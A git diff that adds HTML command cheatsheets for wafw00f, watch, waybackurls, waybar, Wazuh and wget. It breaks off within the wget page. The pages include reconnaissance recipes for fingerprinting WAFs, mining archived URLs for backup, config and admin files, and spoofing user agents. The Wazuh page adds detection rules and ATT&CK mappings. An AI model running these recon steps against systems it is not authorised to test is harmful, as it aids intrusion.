+ + + + \ No newline at end of file diff --git a/cheatsheets/wafw00f.html b/cheatsheets/wafw00f.html new file mode 100644 index 0000000..9980d13 --- /dev/null +++ b/cheatsheets/wafw00f.html @@ -0,0 +1,199 @@ + + + + + + + + + + + wafw00f Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

wafw00f Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

WAFW00F (Web Application Firewall Detection Tool) identifies and fingerprints Web Application Firewalls (WAF) protecting a website. It can detect over 150 WAF products.

+
+

Basic Usage

+
    +
  • wafw00f <url> - Detect WAF on target
  • +
+
    +
  • wafw00f https://example.com - Scan single target
  • +
+
+

Options

+
    +
  • -a, --findall - Find all WAFs (don't stop at first match)
  • +
+
    +
  • -i, --input <file> - Read targets from file
  • +
+
    +
  • -p, --proxy <proxy> - Use HTTP proxy
  • +
+
    +
  • -r, --random - Randomize User-Agent
  • +
+
    +
  • -t, --test <waf> - Test for specific WAF
  • +
+
    +
  • -o, --output <file> - Output to file
  • +
+
    +
  • -f, --format <format> - Output format (csv, json, txt)
  • +
+
    +
  • -v, --verbose - Verbose output
  • +
+
    +
  • -l, --list - List all detectable WAFs
  • +
+
    +
  • -H, --headers <file> - Custom headers from file
  • +
+
+

Common Examples

+

Basic Detection

+
wafw00f https://example.com
+

Detect WAF on target.

+

Find All WAFs

+
wafw00f -a https://example.com
+

Don't stop at first detection.

+

Multiple Targets

+
wafw00f -i targets.txt
+

Scan multiple targets from file.

+

Test Specific WAF

+
wafw00f -t Cloudflare https://example.com
+

Check for specific WAF only.

+

JSON Output

+
wafw00f -f json -o results.json https://example.com
+

Save results as JSON.

+

CSV Output

+
wafw00f -f csv -o results.csv https://example.com
+

Save results as CSV.

+

Verbose Mode

+
wafw00f -v https://example.com
+

Show detailed detection process.

+

Through Proxy

+
wafw00f -p http://127.0.0.1:8080 https://example.com
+

Route through Burp Suite.

+

List All Detectable WAFs

+
wafw00f -l
+

Show all WAFs the tool can detect.

+
+

Common WAFs Detected

+
    +
  • Cloudflare
  • +
  • Akamai
  • +
  • AWS WAF
  • +
  • ModSecurity
  • +
  • F5 BIG-IP
  • +
  • Imperva/Incapsula
  • +
  • Sucuri
  • +
  • Barracuda
  • +
  • Fortinet FortiWeb
  • +
  • Citrix NetScaler
  • +
  • DenyAll
  • +
  • Radware AppWall
  • +
+
+

Detection Methods

+

WAFW00F uses several techniques:

+
    +
  • Analyzing response headers
  • +
  • Analyzing response cookies
  • +
  • Sending malicious payloads and checking response
  • +
  • Checking for known WAF error messages
  • +
  • Timing analysis
  • +
+
+

Output Example

+
                ______
+               /      \
+              (  W00f! )
+               \  ____/
+               ,,    __            404 Conditions
+           |`-.__   / /                _
+           /"  _/  /_/   _       _    / |
+          (  o ) o)   / /  /  | /    _  )
+           \_   _/ `"" |  /  /  |  / /
+           ("`-"_.\_  /  /  / | /\_/
+            (____)   \__/ |  \_\
+
+The site https://example.com is behind Cloudflare (Cloudflare Inc.) WAF.
+
+

Tips

+
    +
  • Use -a to detect multiple WAFs (some sites use layered protection)
  • +
+
    +
  • Knowing the WAF helps choose bypass techniques
  • +
+
    +
  • Some WAFs are harder to detect than others
  • +
+
    +
  • False positives can occur - verify findings
  • +
+
    +
  • Run early in recon to know what you're dealing with
  • +
+
    +
  • Check both HTTP and HTTPS endpoints
  • +
+
    +
  • Use JSON output for automation
  • +
+
    +
  • WAF presence doesn't mean site is secure
  • +
+
    +
  • Always get authorization before scanning
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/watch.html b/cheatsheets/watch.html new file mode 100644 index 0000000..893c92a --- /dev/null +++ b/cheatsheets/watch.html @@ -0,0 +1,179 @@ + + + + + + + + + + + watch Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

watch Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

watch executes a command repeatedly and displays the output fullscreen. Useful for monitoring system resources, processes, logs, and other changing data in real-time.

+
+

Basic Usage

+
    +
  • watch <command> - Execute command every 2 seconds
  • +
+
    +
  • watch -n <interval> <command> - Set update interval in seconds
  • +
+
    +
  • watch -d <command> - Highlight differences between updates
  • +
+
    +
  • watch -t <command> - No title bar
  • +
+
    +
  • watch -b <command> - Beep on command exit
  • +
+
    +
  • watch -e <command> - Exit on error
  • +
+
+

Display Options

+
    +
  • watch -n <seconds> <command> - Update interval
  • +
+
    +
  • watch -d <command> - Highlight differences
  • +
+
    +
  • watch -d=cumulative <command> - Cumulative highlighting
  • +
+
    +
  • watch -t <command> - Turn off header
  • +
+
    +
  • watch -g <command> - Exit when output changes
  • +
+
    +
  • watch -c <command> - Interpret ANSI color codes
  • +
+
+

Behavior Options

+
    +
  • watch -b <command> - Beep if command has non-zero exit
  • +
+
    +
  • watch -e <command> - Exit on error
  • +
+
    +
  • watch -p <command> - Precise timing (attempts to run at exact intervals)
  • +
+
    +
  • watch -x <command> - Execute command with execvp()
  • +
+
+

Common Examples

+

Basic Monitoring

+
watch date
+

Watch date update every 2 seconds.

+

Custom Interval

+
watch -n 1 date
+

Update every 1 second.

+

Highlight Differences

+
watch -d ls -l
+

Highlight changes in directory listing.

+

Monitor Processes

+
watch -n 1 'ps aux | grep process'
+

Monitor specific processes.

+

Monitor Disk Usage

+
watch -n 5 df -h
+

Monitor disk usage every 5 seconds.

+

Monitor Network

+
watch -n 1 'netstat -tuln'
+

Monitor network connections.

+

Monitor System Load

+
watch -n 1 uptime
+

Monitor system load average.

+

Monitor Memory

+
watch -n 1 free -h
+

Monitor memory usage.

+

Monitor Temperatures

+
watch -n 1 sensors
+

Monitor hardware temperatures in real-time.

+

No Title Bar

+
watch -t date
+

Display without header.

+

Exit on Change

+
watch -g 'ls file.txt'
+

Exit when file appears.

+
+

Tips

+
    +
  • Use -n to set custom update intervals (can use decimals like 0.5)
  • +
+
    +
  • Use -d to highlight what changes between updates
  • +
+
    +
  • Use -t to remove the header for cleaner output
  • +
+
    +
  • Use -g to exit when output changes (useful in scripts)
  • +
+
    +
  • Use quotes for complex commands: watch -n 1 'command with args'
  • +
+
    +
  • Combine with sensors to monitor temperatures: watch -n 1 sensors
  • +
+
    +
  • Use -c to preserve ANSI colors in output
  • +
+
    +
  • Use -p for precise timing when exact intervals matter
  • +
+
    +
  • Press Ctrl+C to exit watch
  • +
+
    +
  • Great for monitoring logs, processes, and system resources
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/waybackurls.html b/cheatsheets/waybackurls.html new file mode 100644 index 0000000..0c4979b --- /dev/null +++ b/cheatsheets/waybackurls.html @@ -0,0 +1,175 @@ + + + + + + + + + + + waybackurls Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

waybackurls Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

waybackurls fetches all URLs that the Wayback Machine knows about for a domain. Simple, fast, and focused on one data source. Written in Go by tomnomnom.

+
+

Basic Usage

+
    +
  • echo "example.com" | waybackurls - Fetch URLs for domain
  • +
+
    +
  • cat domains.txt | waybackurls - Multiple domains
  • +
+
+

Options

+
    +
  • -dates - Show capture dates
  • +
+
    +
  • -get-versions - Fetch all archived versions
  • +
+
    +
  • -no-subs - Don't include subdomains
  • +
+
+

Common Examples

+

Basic Fetch

+
echo "example.com" | waybackurls
+

Get all archived URLs.

+

Without Subdomains

+
echo "example.com" | waybackurls -no-subs
+

Only exact domain URLs.

+

With Dates

+
echo "example.com" | waybackurls -dates
+

Show when URLs were captured.

+

Save to File

+
echo "example.com" | waybackurls > urls.txt
+

Save results.

+

Multiple Domains

+
cat domains.txt | waybackurls > all_urls.txt
+

Process domain list.

+

Unique URLs Only

+
echo "example.com" | waybackurls | sort -u
+

Deduplicate results.

+
+

Pipeline Examples

+

Find Parameters

+
echo "example.com" | waybackurls | grep "?" | sort -u
+

URLs with query parameters.

+

Find Specific Extensions

+
echo "example.com" | waybackurls | grep -E "\.php$|\.asp$|\.jsp$"
+

Find dynamic pages.

+

Find JavaScript Files

+
echo "example.com" | waybackurls | grep "\.js$" | sort -u
+

Extract JS files.

+

Find Backup Files

+
echo "example.com" | waybackurls | grep -E "\.(bak|backup|old|orig)$"
+

Find potential backups.

+

Find Config Files

+
echo "example.com" | waybackurls | grep -E "\.(json|xml|yaml|yml|conf|config|ini)$"
+

Find configuration files.

+

Extract Unique Paths

+
echo "example.com" | waybackurls | cut -d'?' -f1 | sort -u
+

Paths without parameters.

+

Find Admin Pages

+
echo "example.com" | waybackurls | grep -iE "(admin|login|dashboard|manage)"
+

Find admin-related URLs.

+

Check Live URLs

+
echo "example.com" | waybackurls | httpx -silent
+

Filter to live URLs only.

+

With gau

+
{ echo "example.com" | waybackurls; echo "example.com" | gau; } | sort -u
+

Combine both tools for comprehensive coverage.

+
+

Output Format

+

Normal Output

+
https://example.com/page
+https://example.com/api/users?id=1
+https://example.com/login.php
+

With Dates (-dates)

+
2020-01-15T12:34:56Z https://example.com/page
+2019-06-20T08:15:30Z https://example.com/old-feature
+
+

Installation

+
go install github.com/tomnomnom/waybackurls@latest
+
+

Comparison with gau

+ + + + + + +
Featurewaybackurlsgau
SourcesWayback onlyMultiple (Wayback, OTX, CC, URLScan)
SpeedFasterSlower (more sources)
OptionsMinimalMore filtering options
OutputSimpleJSON support
+
+

Tips

+
    +
  • Combine with gau for comprehensive URL discovery
  • +
+
    +
  • Use grep to filter for interesting patterns
  • +
+
    +
  • Check -dates to find old/removed functionality
  • +
+
    +
  • Pipe to httpx to verify live endpoints
  • +
+
    +
  • Look for API endpoints and parameters
  • +
+
    +
  • Historical URLs may reveal security issues
  • +
+
    +
  • Fast and lightweight compared to alternatives
  • +
+
    +
  • Great for bug bounty reconnaissance
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/waybar.html b/cheatsheets/waybar.html new file mode 100644 index 0000000..42fa9ff --- /dev/null +++ b/cheatsheets/waybar.html @@ -0,0 +1,231 @@ + + + + + + + + + + + waybar Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

waybar Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

waybar is a highly customizable status bar for Wayland compositors. Displays system information, application status, and custom modules with JSON configuration and CSS styling.

+
+

Basic Usage

+
    +
  • waybar - Start waybar
  • +
+
    +
  • waybar -c config.json - Custom config
  • +
+
    +
  • waybar -s style.css - Custom style
  • +
+
    +
  • waybar -l verbose - Verbose logging
  • +
+
+

Configuration

+
    +
  • ~/.config/waybar/config - Main config file
  • +
+
    +
  • ~/.config/waybar/style.css - CSS styling
  • +
+
    +
  • JSON format for configuration
  • +
+
    +
  • CSS for styling
  • +
+
+

Common Modules

+
    +
  • battery - Battery status
  • +
+
    +
  • clock - Date and time
  • +
+
    +
  • cpu - CPU usage
  • +
+
    +
  • memory - Memory usage
  • +
+
    +
  • network - Network status
  • +
+
    +
  • pulseaudio - Audio control
  • +
+
    +
  • tray - System tray
  • +
+
    +
  • workspaces - Window workspaces
  • +
+
    +
  • window - Active window
  • +
+
    +
  • idle_inhibitor - Idle inhibitor
  • +
+
    +
  • temperature - CPU temperature
  • +
+
    +
  • backlight - Screen brightness
  • +
+
    +
  • disk - Disk usage
  • +
+
    +
  • custom/script - Custom scripts
  • +
+
+

Module Options

+
    +
  • format - Display format
  • +
+
    +
  • format-alt - Alternative format
  • +
+
    +
  • tooltip - Tooltip text
  • +
+
    +
  • interval - Update interval (seconds)
  • +
+
    +
  • max-length - Maximum text length
  • +
+
    +
  • min-length - Minimum text length
  • +
+
    +
  • on-click - Click action
  • +
+
    +
  • on-click-middle - Middle click action
  • +
+
    +
  • on-click-right - Right click action
  • +
+
    +
  • on-scroll-up - Scroll up action
  • +
+
    +
  • on-scroll-down - Scroll down action
  • +
+
+

Common Examples

+

Basic Config

+
{
+  "layer": "top",
+  "position": "top",
+  "modules-left": ["hyprland/workspaces"],
+  "modules-center": ["clock"],
+  "modules-right": ["battery", "network", "pulseaudio", "tray"]
+}
+

Basic waybar configuration.

+

Clock Module

+
"clock": {
+  "format": "{:%Y-%m-%d %H:%M}",
+  "tooltip-format": "{:%A %B %d %Y}"
+}
+

Custom clock format.

+

Battery Module

+
"battery": {
+  "format": "{capacity}% {icon}",
+  "format-charging": "{capacity}% {icon}",
+  "states": {
+    "warning": 30,
+    "critical": 15
+  }
+}
+

Battery with warnings.

+

Custom Script

+
"custom/script": {
+  "format": "{}",
+  "exec": "echo 'Custom'",
+  "interval": 5
+}
+

Custom script module.

+

CPU Module

+
"cpu": {
+  "format": "CPU: {usage}%",
+  "interval": 2
+}
+

CPU usage display.

+
+

Tips

+
    +
  • Configure in ~/.config/waybar/config
  • +
+
    +
  • Style with CSS in ~/.config/waybar/style.css
  • +
+
    +
  • Use custom/script for custom modules
  • +
+
    +
  • Format strings support placeholders
  • +
+
    +
  • Use on-click for interactive modules
  • +
+
    +
  • Adjust interval for update frequency
  • +
+
    +
  • Essential for Wayland status bars
  • +
+
    +
  • Highly customizable and extensible
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/wazuh.html b/cheatsheets/wazuh.html new file mode 100644 index 0000000..1c00808 --- /dev/null +++ b/cheatsheets/wazuh.html @@ -0,0 +1,405 @@ + + + + + + + + + + + Wazuh Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

Wazuh Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Wazuh is an open-source security monitoring platform that provides intrusion detection, vulnerability detection, incident response, and compliance management. It integrates with the MITRE ATT&CK framework for threat detection and hunting.

+
+

Service Management

+
    +
  • systemctl start wazuh-manager - Start Wazuh manager
  • +
+
    +
  • systemctl stop wazuh-manager - Stop Wazuh manager
  • +
+
    +
  • systemctl restart wazuh-manager - Restart Wazuh manager
  • +
+
    +
  • systemctl status wazuh-manager - Check manager status
  • +
+
    +
  • systemctl start wazuh-agent - Start Wazuh agent
  • +
+
    +
  • systemctl status wazuh-agent - Check agent status
  • +
+
    +
  • /var/ossec/bin/wazuh-control status - Check all components status
  • +
+
    +
  • /var/ossec/bin/wazuh-control start - Start all components
  • +
+
    +
  • /var/ossec/bin/wazuh-control stop - Stop all components
  • +
+
    +
  • /var/ossec/bin/wazuh-control restart - Restart all components
  • +
+
+

Agent Management

+
    +
  • /var/ossec/bin/agent_control -l - List all agents
  • +
+
    +
  • /var/ossec/bin/agent_control -e - Restart agent
  • +
+
    +
  • /var/ossec/bin/agent_control -r - Remove agent
  • +
+
    +
  • /var/ossec/bin/agent_control -a - List active agents
  • +
+
    +
  • /var/ossec/bin/agent_control -i - Show agent info
  • +
+
    +
  • /var/ossec/bin/agent_control -u - Upgrade agent remotely
  • +
+
    +
  • /var/ossec/bin/agent_control -s - Show agent statistics
  • +
+
    +
  • /var/ossec/bin/manage_agents - Manage agent keys
  • +
+
+

Log Files

+
    +
  • /var/ossec/logs/ossec.log - Main Wazuh manager log
  • +
+
    +
  • /var/ossec/logs/alerts/alerts.json - JSON formatted alerts
  • +
+
    +
  • /var/ossec/logs/alerts/alerts.log - Standard alert log
  • +
+
    +
  • /var/ossec/logs/archives/archives.log - Archived logs
  • +
+
    +
  • tail -f /var/ossec/logs/alerts/alerts.log - Monitor alerts in real-time
  • +
+
    +
  • tail -f /var/ossec/logs/ossec.log - Monitor main log
  • +
+
+

Rule Configuration

+
    +
  • /var/ossec/etc/rules/local_rules.xml - Custom local rules
  • +
+
    +
  • /var/ossec/etc/rules/ - Rules directory
  • +
+
    +
  • /var/ossec/etc/ossec.conf - Main configuration file
  • +
+
    +
  • wazuh-logtest - Test rule matching
  • +
+
    +
  • wazuh-logtest -f - Test rules against log file
  • +
+
+

Searching Alerts

+
    +
  • grep -i "rule.id" /var/ossec/logs/alerts/alerts.log - Search by rule ID
  • +
+
    +
  • grep -i "agent.id" /var/ossec/logs/alerts/alerts.log - Search by agent ID
  • +
+
    +
  • jq '.rule.id' /var/ossec/logs/alerts/alerts.json - Query JSON alerts
  • +
+
    +
  • jq '.rule.mitre.id' /var/ossec/logs/alerts/alerts.json - Filter by MITRE ATT&CK ID
  • +
+
    +
  • jq 'select(.rule.level >= 10)' /var/ossec/logs/alerts/alerts.json - High severity alerts
  • +
+
+

MITRE ATT&CK Framework Integration

+

Wazuh automatically maps detection rules to MITRE ATT&CK tactics, techniques, and sub-techniques. Alerts include ATT&CK metadata for threat hunting and correlation.

+

ATT&CK Metadata in Rules

+
<rule id="100200" level="12">
+  <if_sid>1002</if_sid>
+  <match>authentication failure</match>
+  <description>Multiple authentication failures detected</description>
+  <mitre>
+    <id>T1110</id>
+    <tactic>Credential Access</tactic>
+    <technique>Brute Force</technique>
+  </mitre>
+</rule>
+

Querying ATT&CK Techniques

+
# Search for T1110 (Brute Force) alerts
+jq 'select(.rule.mitre.id == "T1110")' /var/ossec/logs/alerts/alerts.json
+
+# Search by tactic
+jq 'select(.rule.mitre.tactic[] | contains("Credential Access"))' /var/ossec/logs/alerts/alerts.json
+
+# Search for specific technique
+jq 'select(.rule.mitre.technique == "Brute Force")' /var/ossec/logs/alerts/alerts.json
+

Common ATT&CK Mappings

+
    +
  • T1003 - OS Credential Dumping (password file access)
  • +
+
    +
  • T1018 - Remote System Discovery (network scanning)
  • +
+
    +
  • T1021 - Remote Services (SSH, RDP connections)
  • +
+
    +
  • T1047 - Windows Management Instrumentation (WMI abuse)
  • +
+
    +
  • T1055 - Process Injection (suspicious process behavior)
  • +
+
    +
  • T1070 - Indicator Removal (log deletion)
  • +
+
    +
  • T1071 - Application Layer Protocol (network traffic)
  • +
+
    +
  • T1105 - Ingress Tool Transfer (file downloads)
  • +
+
    +
  • T1110 - Brute Force (authentication failures)
  • +
+
    +
  • T1548 - Abuse Elevation Control Mechanism (sudo/privilege escalation)
  • +
+

Threat Hunting with ATT&CK

+
# Hunt for credential access techniques
+jq 'select(.rule.mitre.tactic[] | contains("Credential Access")) | {time: .timestamp, agent: .agent.name, rule: .rule.description, mitre_id: .rule.mitre.id}' /var/ossec/logs/alerts/alerts.json
+
+# Hunt for persistence mechanisms
+jq 'select(.rule.mitre.tactic[] | contains("Persistence")) | {time: .timestamp, technique: .rule.mitre.technique, id: .rule.mitre.id}' /var/ossec/logs/alerts/alerts.json
+
+# Hunt for privilege escalation
+jq 'select(.rule.mitre.tactic[] | contains("Privilege Escalation"))' /var/ossec/logs/alerts/alerts.json | jq -s 'group_by(.rule.mitre.id) | map({technique: .[0].rule.mitre.technique, count: length, id: .[0].rule.mitre.id})'
+
+

Creating Custom Rules with ATT&CK

+
<group name="custom,mitre_attack,">
+  <rule id="100001" level="10">
+    <if_sid>5710</if_sid>
+    <match>sudo.*su.*root</match>
+    <description>Suspicious sudo to su root escalation</description>
+    <mitre>
+      <id>T1548.003</id>
+      <tactic>Privilege Escalation,Defense Evasion</tactic>
+      <technique>Sudo and Sudo Caching</technique>
+    </mitre>
+  </rule>
+  
+  <rule id="100002" level="12">
+    <if_group>web</if_group>
+    <match>SQL.*injection</match>
+    <description>SQL injection attempt detected</description>
+    <mitre>
+      <id>T1190</id>
+      <tactic>Initial Access</tactic>
+      <technique>Exploit Public-Facing Application</technique>
+    </mitre>
+  </rule>
+</group>
+
+

File Integrity Monitoring (FIM)

+
    +
  • /var/ossec/etc/ossec.conf - Configure FIM in <syscheck> section
  • +
+
    +
  • /var/ossec/queue/fim/ - FIM events directory
  • +
+

FIM Configuration Example

+
<syscheck>
+  <disabled>no</disabled>
+  <frequency>43200</frequency>
+  <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories>
+  <directories check_all="yes">/bin,/sbin</directories>
+  <ignore>/etc/mtab</ignore>
+  <ignore>/etc/hosts.deny</ignore>
+  <ignore>/etc/mail/statistics</ignore>
+</syscheck>
+
+

Rootcheck

+
    +
  • /var/ossec/etc/ossec.conf - Configure rootcheck
  • +
+
    +
  • grep "rootcheck" /var/ossec/logs/alerts/alerts.log - View rootcheck alerts
  • +
+
    +
  • /var/ossec/etc/shared/default/rootcheck.conf - Rootcheck configuration
  • +
+
+

Vulnerability Detection

+
    +
  • /var/ossec/wodles/vulnerability-detector/ - Vulnerability detector scripts
  • +
+
    +
  • wazuh-cli -d -u -f /var/ossec/wodles/vulnerability-detector/vulnerability-detector.py - Run vulnerability scan
  • +
+
    +
  • jq 'select(.vulnerability)' /var/ossec/logs/alerts/alerts.json - View vulnerability alerts
  • +
+
+

API Usage

+
    +
  • curl -k -u wazuh:wazuh -X GET "https://localhost:55000/agents?pretty" - List agents via API
  • +
+
    +
  • curl -k -u wazuh:wazuh -X GET "https://localhost:55000/agents/?pretty" - Get agent details
  • +
+
    +
  • curl -k -u wazuh:wazuh -X GET "https://localhost:55000/rules?rule_ids=1002&pretty" - Get rule information
  • +
+
    +
  • curl -k -u wazuh:wazuh -X POST "https://localhost:55000/syscollector//hardware?pretty" - System inventory
  • +
+
    +
  • curl -k -u wazuh:wazuh -X GET "https://localhost:55000/rootcheck/?pretty" - Rootcheck results
  • +
+
    +
  • curl -k -u wazuh:wazuh -X GET "https://localhost:55000/syscheck/?pretty" - FIM baseline
  • +
+
+

Common Commands

+
    +
  • wazuh-cli -c /var/ossec/etc/ossec.conf -l - List configuration
  • +
+
    +
  • wazuh-logtest - Interactive log testing tool
  • +
+
    +
  • wazuh-keystore - Manage encrypted keys
  • +
+
    +
  • /var/ossec/bin/wazuh-control info - System information
  • +
+
    +
  • /var/ossec/bin/verify-agent-conf - Verify agent configuration
  • +
+
    +
  • /var/ossec/bin/syscheck_update - Update FIM baseline manually
  • +
+
+

Configuration Locations

+
    +
  • /var/ossec/etc/ossec.conf - Main configuration (manager/agent)
  • +
+
    +
  • /var/ossec/etc/rules/ - Rule files directory
  • +
+
    +
  • /var/ossec/etc/decoders/ - Log decoders directory
  • +
+
    +
  • /var/ossec/etc/shared/ - Shared configuration for agents
  • +
+
    +
  • /var/ossec/etc/lists/ - CDB lists for rules
  • +
+
+

Tips

+
    +
  • Use MITRE ATT&CK metadata in custom rules for better threat hunting
  • +
+
    +
  • Regularly review high-level alerts (level 12+)
  • +
+
    +
  • Use jq for querying and filtering JSON alert logs
  • +
+
    +
  • Create custom rules in local_rules.xml, not in default rule files
  • +
+
    +
  • Test rules with wazuh-logtest before deploying
  • +
+
    +
  • Monitor agent connectivity - disconnected agents can't send alerts
  • +
+
    +
  • Use FIM to monitor critical system files and directories
  • +
+
    +
  • Enable vulnerability detection for compliance scanning
  • +
+
    +
  • Correlate alerts using MITRE ATT&CK tactics to identify attack chains
  • +
+
    +
  • Use the API for automation and integration with other tools
  • +
+
    +
  • Check /var/ossec/logs/ regularly for errors
  • +
+
    +
  • Keep Wazuh updated to get latest detection rules and MITRE mappings
  • +
+
    +
  • Use rootcheck to detect rootkits and suspicious system modifications
  • +
+
    +
  • Create dashboards based on MITRE ATT&CK tactics for threat visibility
  • +
+
    +
  • Archive and analyze historical alerts for threat hunting
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + + diff --git a/cheatsheets/wget.html b/cheatsheets/wget.html new file mode 100644 index 0000000..6e6990f --- /dev/null +++ b/cheatsheets/wget.html @@ -0,0 +1,319 @@ + + + + + + + + + + + wget Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

wget Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

wget is a non-interactive network downloader. It supports HTTP, HTTPS, and FTP. Great for downloading files, mirroring websites, and recursive downloads.

+
+

Basic Usage

+
    +
  • wget <url> - Download file
  • +
+
    +
  • wget -O filename <url> - Save with custom name
  • +
+
    +
  • wget -P /path/ <url> - Save to directory
  • +
+
+

Download Options

+
    +
  • -O filename - Output filename
  • +
+
    +
  • -P prefix - Directory prefix
  • +
+
    +
  • -c - Continue partial download
  • +
+
    +
  • -N - Timestamping (only newer)
  • +
+
    +
  • -nc - No clobber (skip existing)
  • +
+
    +
  • -b - Background download
  • +
+
    +
  • -q - Quiet mode
  • +
+
    +
  • -v - Verbose
  • +
+
+

Recursive Downloads

+
    +
  • -r - Recursive download
  • +
+
    +
  • -l depth - Recursion depth (default 5)
  • +
+
    +
  • -k - Convert links for local viewing
  • +
+
    +
  • -p - Download page requisites
  • +
+
    +
  • -E - Save HTML as .html
  • +
+
    +
  • -np - No parent (don't go up)
  • +
+
    +
  • -nH - No host directories
  • +
+
    +
  • --cut-dirs=N - Ignore N directories
  • +
+
+

Filtering

+
    +
  • -A ext - Accept extensions (jpg,png)
  • +
+
    +
  • -R ext - Reject extensions
  • +
+
    +
  • -I list - Include directories
  • +
+
    +
  • -X list - Exclude directories
  • +
+
    +
  • --accept-regex - Accept regex pattern
  • +
+
    +
  • --reject-regex - Reject regex pattern
  • +
+
+

HTTP Options

+
    +
  • --header="Header: Value" - Custom header
  • +
+
    +
  • -U agent - User agent
  • +
+
    +
  • --referer=url - Set referer
  • +
+
    +
  • --post-data="data" - POST data
  • +
+
    +
  • --post-file=file - POST from file
  • +
+
    +
  • --method=METHOD - HTTP method
  • +
+
+

Authentication

+
    +
  • --user=user - Username
  • +
+
    +
  • --password=pass - Password
  • +
+
    +
  • --ask-password - Prompt for password
  • +
+
    +
  • --http-user=user - HTTP auth user
  • +
+
    +
  • --http-password=pass - HTTP auth pass
  • +
+
+

Cookies

+
    +
  • --save-cookies file - Save cookies
  • +
+
    +
  • --load-cookies file - Load cookies
  • +
+
    +
  • --keep-session-cookies - Keep session cookies
  • +
+
+

SSL/TLS

+
    +
  • --no-check-certificate - Ignore SSL errors
  • +
+
    +
  • --ca-certificate=file - CA cert file
  • +
+
    +
  • --certificate=file - Client cert
  • +
+
    +
  • --private-key=file - Private key
  • +
+
+

Proxy

+
    +
  • -e use_proxy=yes - Enable proxy
  • +
+
    +
  • -e http_proxy=url - HTTP proxy
  • +
+
    +
  • -e https_proxy=url - HTTPS proxy
  • +
+
    +
  • --no-proxy - Disable proxy
  • +
+
+

Speed & Limits

+
    +
  • --limit-rate=rate - Limit download speed
  • +
+
    +
  • -w seconds - Wait between requests
  • +
+
    +
  • --random-wait - Random wait (0.5-1.5x)
  • +
+
    +
  • -t tries - Retry count (0=infinite)
  • +
+
    +
  • -T timeout - Timeout seconds
  • +
+
    +
  • --dns-timeout - DNS timeout
  • +
+
+

Common Examples

+

Simple Download

+
wget https://example.com/file.zip
+

Download single file.

+

Resume Download

+
wget -c https://example.com/large-file.iso
+

Continue interrupted download.

+

Download to Directory

+
wget -P ~/Downloads https://example.com/file.zip
+

Save to specific directory.

+

Mirror Website

+
wget -m -k -p -E -np https://example.com
+

Create offline mirror of site.

+

Download All Images

+
wget -r -A jpg,jpeg,png,gif -np https://example.com/images/
+

Download only images recursively.

+

Background Download

+
wget -b https://example.com/large-file.iso
+

Download in background.

+

Rate Limited

+
wget --limit-rate=200k https://example.com/file.zip
+

Limit to 200KB/s.

+

With Authentication

+
wget --user=admin --password=secret https://example.com/protected/
+

Download with credentials.

+

From File List

+
wget -i urls.txt
+

Download URLs from file.

+

Spider Mode

+
wget --spider https://example.com/file.zip
+

Check if file exists (no download).

+

Ignore Robots

+
wget -e robots=off -r https://example.com
+

Ignore robots.txt.

+

Custom User Agent

+
wget -U "Mozilla/5.0 (Windows NT 10.0)" https://example.com
+

Spoof browser user agent.

+
+

Mirror Options Explained

+
wget -m -k -p -E -np https://example.com
+
    +
  • -m (--mirror) - Mirror mode (-r -N -l inf --no-remove-listing)
  • +
